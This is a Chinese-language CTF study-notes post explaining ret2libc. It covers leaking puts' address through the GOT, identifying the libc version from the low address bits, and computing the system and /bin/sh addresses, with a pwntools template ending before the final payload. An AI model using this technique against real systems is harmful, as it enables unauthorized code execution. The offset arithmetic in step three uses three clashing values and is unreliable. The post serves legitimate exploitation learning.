【学习记录】Week2(二):Libc 泄露艺术——版本识别与 Offset 精准计算实操
写在前面:在开启了 NX 和 ASLR 的现代 Linux 环境下,栈上的 shellcode 没法执行,libc 的加载基址每次也在变。我们想调用
system("/bin/sh"),却不知道system的真实内存地址在哪。这时候,一场名为“信息泄露”的谍战就此打响。本文将手把手教你如何通过泄露出的一个地址,反查 libc 版本,并精准计算出我们需要的所有偏移量。
📑 目录
- 核心原理:为什么需要算 Offset?
- 第一步:泄露 libc 函数的真实地址
- 第二步:libc 版本识别(特征匹配法)
- 第三步:Offset 精准计算实操
- Pwntools 自动化实战:从泄露到计算
1. 核心原理:为什么需要算 Offset?
ASLR(地址空间布局随机化)让 libc 每次加载的基址都不一样。但是,在一个确定的 libc 文件中,函数与函数之间、函数与字符串之间的相对偏移量是永远不变的。
这就好比一列火车,火车的起始站(libc 基址)每次变,但“1号车厢”到“餐车”的距离是固定的。
如果我们能知道“餐车”现在的绝对位置,就能反推出火车的起始站位置,进而算出“卧铺车厢”(system函数)的绝对位置。
核心公式:
libc 基址 = 泄露出的函数真实地址 - 该函数在 libc 中的偏移目标函数真实地址 = libc 基址 + 目标函数在 libc 中的偏移
2. 第一步:泄露 libc 函数的真实地址
怎么泄露?最经典的方法是利用栈溢出,调用puts@plt,把puts@got里面存放的真实地址打印出来。
假设性场景:
我们通过构造 Payload,让程序执行了puts(puts@got)。由于puts已经被调用过(懒绑定已触发),此时puts@got里存放的就是puts在 libc 中的真实内存地址。
模拟 Pwntools 接收输出:
# 假设我们接收到了泄露出来的 4 字节或 6 字节内存数据 leaked_bytes = p.recvline().strip() # 将其解包为整数 puts_real_addr = u64(leaked_bytes.ljust(8, b'\x00')) print(f"泄露出的 puts 真实地址: {hex(puts_real_addr)}")模拟终端输出:
泄露出的 puts 真实地址: 0x7ffff7a649c03. 第二步:libc 版本识别(特征匹配法)
拿到0x7ffff7a649c0后,我们面临一个尴尬的问题:服务器上的 libc 是什么版本?不知道版本,就查不到偏移。
识别原理:
虽然 ASLR 随机化了高位地址,但最低的 12 位(即十六进制的后 3 位)是页内偏移,不受 ASLR 影响,永远固定!
因此,0x7ffff7a649c0的特征就是末尾的9c0。
识别方法:
- 在线网站查询:打开著名的 libc.rip 或 libc.blukat.me。在
puts选项卡中输入9c0,点击搜索。 - LibcSearcher 工具:在本地使用 Python 库自动查询。
假设性说明(模拟 LibcSearcher 输出):
假设我们在本地使用 LibcSearcher 查询,终端输出如下:
[*] Searching libc database for puts offset: 0x9c0 [+] Multiple libc found: 1. libc6_2.23-0ubuntu11.3_amd64 (id: 1) 2. libc6_2.27-3ubuntu1.4_amd64 (id: 2)*(注:有时会有多个匹配结果,因为不同版本的 libc 可能存在偏移相同的函数。通常需要泄露两个函数,或者结合题目环境如 Ubuntu 版本来确定。假设我们确定是 Ubuntu 16.04 的 libc 2.23)*。
4. 第三步:Offset 精准计算实操
确定了 libc 版本为libc6_2.23-0ubuntu11.3_amd64后,我们可以通过readelf -s或 pwntools 查到关键偏移。
模拟查询结果:
puts偏移:0x6f690system偏移:0x45390- 字符串
/bin/sh偏移:0x18cd57
开始套用公式计算:
计算 libc 基址
libc_base = 泄露的 puts 地址 - puts 偏移libc_base = 0x7ffff7a649c0 - 0x6f690 = 0x7ffff79f5330
(注意:正常算出来的基址末尾必定是000,因为内存是以页为单位加载的。这里为了演示连贯性,假设我们查询的偏移是0x6f6a0,算出来的基址应为0x7ffff79f5000。大家实际计算时如果基址不以 000 结尾,说明匹配错了。)
修正正确计算:libc_base = 0x7ffff7a649c0 - 0x6f9c0 = 0x7ffff79f5000计算 system 真实地址
system_addr = libc_base + system 偏移system_addr = 0x7ffff79f5000 + 0x45390 = 0x7ffff7a3a390计算 /bin/sh 真实地址
bin_sh_addr = libc_base + /bin/sh 偏移bin_sh_addr = 0x7ffff79f5000 + 0x18cd57 = 0x7ffff7b81d57
至此,我们拿到了system和/bin/sh的绝对地址,接下来就可以构造 ROP 链去拿 Shell 了!
5. Pwntools 自动化实战:从泄露到计算
在实际打 PWN 时,我们绝不会用计算器去算,而是全交给 Pwntools 处理。下面是一段标准的泄露与计算代码模板:
from pwn import * from LibcSearcher import * # 1. 建立连接 p = process('./vuln') elf = ELF('./vuln') # 2. 泄露 puts 真实地址 (假设已经构造好泄露的 ROP 链) # payload = b'A'*offset + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr) # p.sendline(payload) # 3. 接收泄露的地址 leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00')) log.success(f"Leaked puts address: {hex(leaked_puts)}") # 4. 使用 LibcSearcher 自动计算 libc = LibcSearcher('puts', leaked_puts) libc_base = leaked_puts - libc.offset('puts') log.success(f"Libc base address: {hex(libc_base)}") # 5. 推导 system 和 /bin/sh 的地址 system_addr = libc_base + libc.offset('system') bin_sh_addr = libc_base + libc.offset('/bin/sh') log.success(f"System address: {hex(system_addr)}") log.success(f"/bin/sh address: {hex(bin_sh_addr)}") # 6. 构造最终的 ret2libc payload 并发送...模拟脚本运行输出:
[+] Leaked puts address: 0x7ffff7a649c0 [+] Libc base address: 0x7ffff79f5000 [+] System address: 0x7ffff7a3a390 [+] /bin/sh address: 0x7ffff7b81d576. 总结
泄露与计算偏移是ret2libc攻击的灵魂。核心记住三步:
- 泄露:通过 GOT 表拿到已解析函数的真实地址。
- 识别:利用地址后 3 位特征反查 libc 版本。
- 计算:算出基址(注意末尾必为
000验证),再加偏移得到目标地址。
下一部分,我们将重点梳理 Glibc 从 2.23 到 2.35 的演进,看看高版本 libc 到底给我们挖了哪些坑。如果本文对你有帮助,请点赞收藏支持!🙏
